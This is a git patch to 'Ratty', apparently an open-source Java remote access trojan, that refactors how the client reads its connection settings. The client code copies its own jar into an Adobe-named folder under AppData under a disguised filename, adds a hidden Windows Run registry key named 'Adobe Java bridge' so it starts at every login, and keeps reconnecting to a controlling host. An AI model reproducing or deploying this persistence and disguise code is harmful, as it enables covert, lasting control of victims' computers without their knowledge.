From 44fa1af3891c1e7716f48921879225ff34d66cc5 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Fri, 5 Feb 2016 13:54:38 +0100 Subject: [PATCH] Small changes Cleanups Started to think about client program building --- Ratty/res/connection_data.txt | 3 ++ Ratty/src/de/sogomn/rat/Ratty.java | 49 +++++++++++++------ .../src/de/sogomn/rat/packet/PopupPacket.java | 8 ++- .../src/de/sogomn/rat/util/FrameEncoder.java | 4 +- 4 files changed, 42 insertions(+), 22 deletions(-) create mode 100644 Ratty/res/connection_data.txt diff --git a/Ratty/res/connection_data.txt b/Ratty/res/connection_data.txt new file mode 100644 index 0000000..9daf0d2 --- /dev/null +++ b/Ratty/res/connection_data.txt @@ -0,0 +1,3 @@ +localhost +23456 +false \ No newline at end of file diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 761628c..fe2f716 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -17,31 +17,47 @@ import de.sogomn.rat.server.gui.RattyGuiController; public final class Ratty { - private static final int DISCONNECT_SLEEP_INTERVAL = 2500; + private static String address; + private static int port; + public static boolean client; - private static final String FOLDER_NAME = "Adobe" + File.separator + "AIR"; - private static final String FILE_NAME = "jre13v3bridge.jar"; + private static final int CONNECTION_INTERVAL = 2500; + private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt"; + + private static final String STARTUP_FOLDER_NAME = "Adobe" + File.separator + "AIR"; + private static final String STARTUP_FILE_NAME = "jre13v3bridge.jar"; + private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + STARTUP_FOLDER_NAME + File.separator + STARTUP_FILE_NAME; + private static final String REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\""; - public static final String ADDRESS = "localhost"; - public static final int PORT = 23456; - public static final boolean CLIENT = false; public static final String VERSION = "1.0"; private Ratty() { //... } + private static void readConnectionData() throws NumberFormatException, ArrayIndexOutOfBoundsException { + final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME); + + if (lines.length >= 3) { + final String addressString = lines[0]; + final String portString = lines[1]; + final String clientString = lines[2]; + + address = addressString; + port = Integer.parseInt(portString); + client = Boolean.parseBoolean(clientString); + } + } + private static void addToStartup() { try { final URI sourceUri = Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI(); - final String destinationPath = System.getenv("APPDATA") + File.separator + FOLDER_NAME + File.separator + FILE_NAME; final File source = new File(sourceUri); - final File destination = new File(destinationPath); - final String registryCommand = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + destinationPath + "\""; + final File destination = new File(STARTUP_FILE_PATH); - FileUtils.createFile(destinationPath); + FileUtils.createFile(STARTUP_FILE_PATH); FileUtils.copy(source, destination); - Runtime.getRuntime().exec(registryCommand); + Runtime.getRuntime().exec(REGISTRY_COMMAND); } catch (final URISyntaxException | IOException ex) { ex.printStackTrace(); } @@ -53,7 +69,7 @@ public final class Ratty { if (!newClient.isOpen()) { try { - Thread.sleep(DISCONNECT_SLEEP_INTERVAL); + Thread.sleep(CONNECTION_INTERVAL); } catch (final InterruptedException ex) { ex.printStackTrace(); } finally { @@ -79,10 +95,11 @@ public final class Ratty { public static void main(final String[] args) { WebLookAndFeel.install(); + readConnectionData(); - if (CLIENT) { + if (client) { addToStartup(); - connectToHost(ADDRESS, PORT); + connectToHost(address, port); } else { final String[] options = {"Server", "Client"}; final int input = JOptionPane.showOptionDialog(null, "Server or client?", "Choose", JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null); @@ -90,11 +107,11 @@ public final class Ratty { if (input == JOptionPane.YES_OPTION) { System.out.println("Starting server"); - startServer(PORT); + startServer(port); } else if (input == JOptionPane.NO_OPTION) { System.out.println("Starting client"); - connectToHost(ADDRESS, PORT); + connectToHost(address, port); } } } diff --git a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java index a35de99..d15f75e 100644 --- a/Ratty/src/de/sogomn/rat/packet/PopupPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/PopupPacket.java @@ -1,10 +1,9 @@ package de.sogomn.rat.packet; -import java.awt.image.BufferedImage; - import javax.swing.JDialog; import javax.swing.JOptionPane; +import de.sogomn.engine.util.ImageUtils; import de.sogomn.rat.ActiveClient; @@ -13,8 +12,6 @@ public final class PopupPacket implements IPacket { private String message; - private static final BufferedImage NO_IMAGE = new BufferedImage(1, 1, BufferedImage.TYPE_INT_ARGB); - public PopupPacket(final String message) { this.message = message; } @@ -38,7 +35,8 @@ public final class PopupPacket implements IPacket { final JOptionPane optionPane = new JOptionPane(message); final JDialog dialog = optionPane.createDialog(null); - dialog.setIconImage(NO_IMAGE); + dialog.setAlwaysOnTop(true); + dialog.setIconImage(ImageUtils.EMPTY_IMAGE); dialog.setModal(false); dialog.setVisible(true); } diff --git a/Ratty/src/de/sogomn/rat/util/FrameEncoder.java b/Ratty/src/de/sogomn/rat/util/FrameEncoder.java index 7c32721..060296e 100644 --- a/Ratty/src/de/sogomn/rat/util/FrameEncoder.java +++ b/Ratty/src/de/sogomn/rat/util/FrameEncoder.java @@ -2,6 +2,8 @@ package de.sogomn.rat.util; import java.awt.image.BufferedImage; +import de.sogomn.engine.util.ImageUtils; + public final class FrameEncoder { private FrameEncoder() { @@ -55,7 +57,7 @@ public final class FrameEncoder { public final int x, y; public final BufferedImage image; - public static final IFrame EMPTY = new IFrame(0, 0, new BufferedImage(1, 1, BufferedImage.TYPE_INT_ARGB)); + public static final IFrame EMPTY = new IFrame(0, 0, ImageUtils.EMPTY_IMAGE); public IFrame(final int x, final int y, final BufferedImage image) { this.x = x;